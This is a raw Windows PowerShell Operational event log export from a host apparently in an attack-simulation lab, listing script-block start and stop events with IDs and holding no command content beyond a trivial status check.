User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479190
Keywords=None
Message=Completed invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479189
Keywords=None
Message=Started invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479188
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479187
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479186
Keywords=None
Message=Completed invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479185
Keywords=None
Message=Started invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479184
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479183
Keywords=None
Message=Completed invocation of ScriptBlock ID: dacdff97-f934-4b16-8155-e51839ac5cae
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479182
Keywords=None
Message=Started invocation of ScriptBlock ID: dacdff97-f934-4b16-8155-e51839ac5cae
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479181
Keywords=None
Message=Creating Scriptblock text (1 of 1):
$global:?
ScriptBlock ID: dacdff97-f934-4b16-8155-e51839ac5cae
Path:
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479180
Keywords=None
Message=Completed invocation of ScriptBlock ID: 72ee6361-ee46-490f-9551-eafa1316ce14
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 555db5c0-165a-4c5d-89f1-436f144e398f
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479178
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8668d9d9-3145-4643-a7ce-44022b664c6f
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479177
Keywords=None
Message=Started invocation of ScriptBlock ID: 8668d9d9-3145-4643-a7ce-44022b664c6f
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479176
Keywords=None
Message=Completed invocation of ScriptBlock ID: b562d7d2-6d9a-4e2d-a8c0-4241cf339baf
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4e0c54f3-34a6-4c4f-9f61-396fe0b876e5
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4e0c54f3-34a6-4c4f-9f61-396fe0b876e5
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1db2c21c-dbd4-46a3-83e8-ab8f87ec335c
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479172
Keywords=None
Message=Started invocation of ScriptBlock ID: 1db2c21c-dbd4-46a3-83e8-ab8f87ec335c
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 72d51893-6d0e-4155-b10c-ac291f019b87
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479170
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8f461449-4591-4889-b68e-9a9ef79f7349
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e2ecaae-61b9-4523-a786-8277d8a4bd32
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479168
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e2ecaae-61b9-4523-a786-8277d8a4bd32
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479167
Keywords=None
Message=Started invocation of ScriptBlock ID: 8f461449-4591-4889-b68e-9a9ef79f7349
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479166
Keywords=None
Message=Started invocation of ScriptBlock ID: 72d51893-6d0e-4155-b10c-ac291f019b87
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479165
Keywords=None
Message=Started invocation of ScriptBlock ID: b562d7d2-6d9a-4e2d-a8c0-4241cf339baf
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479164
Keywords=None
Message=Completed invocation of ScriptBlock ID: 519ecd82-864b-41a0-863d-86133c57dc32
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479163
Keywords=None
Message=Started invocation of ScriptBlock ID: 519ecd82-864b-41a0-863d-86133c57dc32
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479162
Keywords=None
Message=Completed invocation of ScriptBlock ID: b562d7d2-6d9a-4e2d-a8c0-4241cf339baf
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4e0c54f3-34a6-4c4f-9f61-396fe0b876e5
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4e0c54f3-34a6-4c4f-9f61-396fe0b876e5
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1db2c21c-dbd4-46a3-83e8-ab8f87ec335c
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479158
Keywords=None
Message=Started invocation of ScriptBlock ID: 1db2c21c-dbd4-46a3-83e8-ab8f87ec335c
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 72d51893-6d0e-4155-b10c-ac291f019b87
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479156
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8f461449-4591-4889-b68e-9a9ef79f7349
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e2ecaae-61b9-4523-a786-8277d8a4bd32
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479154
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e2ecaae-61b9-4523-a786-8277d8a4bd32
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479153
Keywords=None
Message=Started invocation of ScriptBlock ID: 8f461449-4591-4889-b68e-9a9ef79f7349
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479152
Keywords=None
Message=Started invocation of ScriptBlock ID: 72d51893-6d0e-4155-b10c-ac291f019b87
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479151
Keywords=None
Message=Started invocation of ScriptBlock ID: b562d7d2-6d9a-4e2d-a8c0-4241cf339baf
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479150
Keywords=None
Message=Completed invocation of ScriptBlock ID: 519ecd82-864b-41a0-863d-86133c57dc32
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479149
Keywords=None
Message=Started invocation of ScriptBlock ID: 519ecd82-864b-41a0-863d-86133c57dc32
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479148
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f0aa85c-5444-43fd-b1da-6b64186a56aa
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479147
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f0aa85c-5444-43fd-b1da-6b64186a56aa
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479146
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1c3140b5-b0bc-4162-ac9c-2c839624634d
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479145
Keywords=None
Message=Started invocation of ScriptBlock ID: 1c3140b5-b0bc-4162-ac9c-2c839624634d
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479144
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8e6039b9-896a-403c-bb0a-2d52cb138ef9
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479143
Keywords=None
Message=Started invocation of ScriptBlock ID: 8e6039b9-896a-403c-bb0a-2d52cb138ef9
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479142
Keywords=None
Message=Completed invocation of ScriptBlock ID: a10a92bb-5d61-4568-9c75-99105ea798c8
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479141
Keywords=None
Message=Started invocation of ScriptBlock ID: a10a92bb-5d61-4568-9c75-99105ea798c8
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479140
Keywords=None
Message=Completed invocation of ScriptBlock ID: 082adbe9-8267-4ada-8466-3159b7ac894d
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479139
Keywords=None
Message=Started invocation of ScriptBlock ID: 082adbe9-8267-4ada-8466-3159b7ac894d
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479138
Keywords=None
Message=Completed invocation of ScriptBlock ID: cb2e5456-88bd-490b-975d-0b656bd1e08f
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479137
Keywords=None
Message=Started invocation of ScriptBlock ID: cb2e5456-88bd-490b-975d-0b656bd1e08f
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479136
Keywords=None
Message=Completed invocation of ScriptBlock ID: 435e802e-103a-42e9-bcbf-7681335c9c93
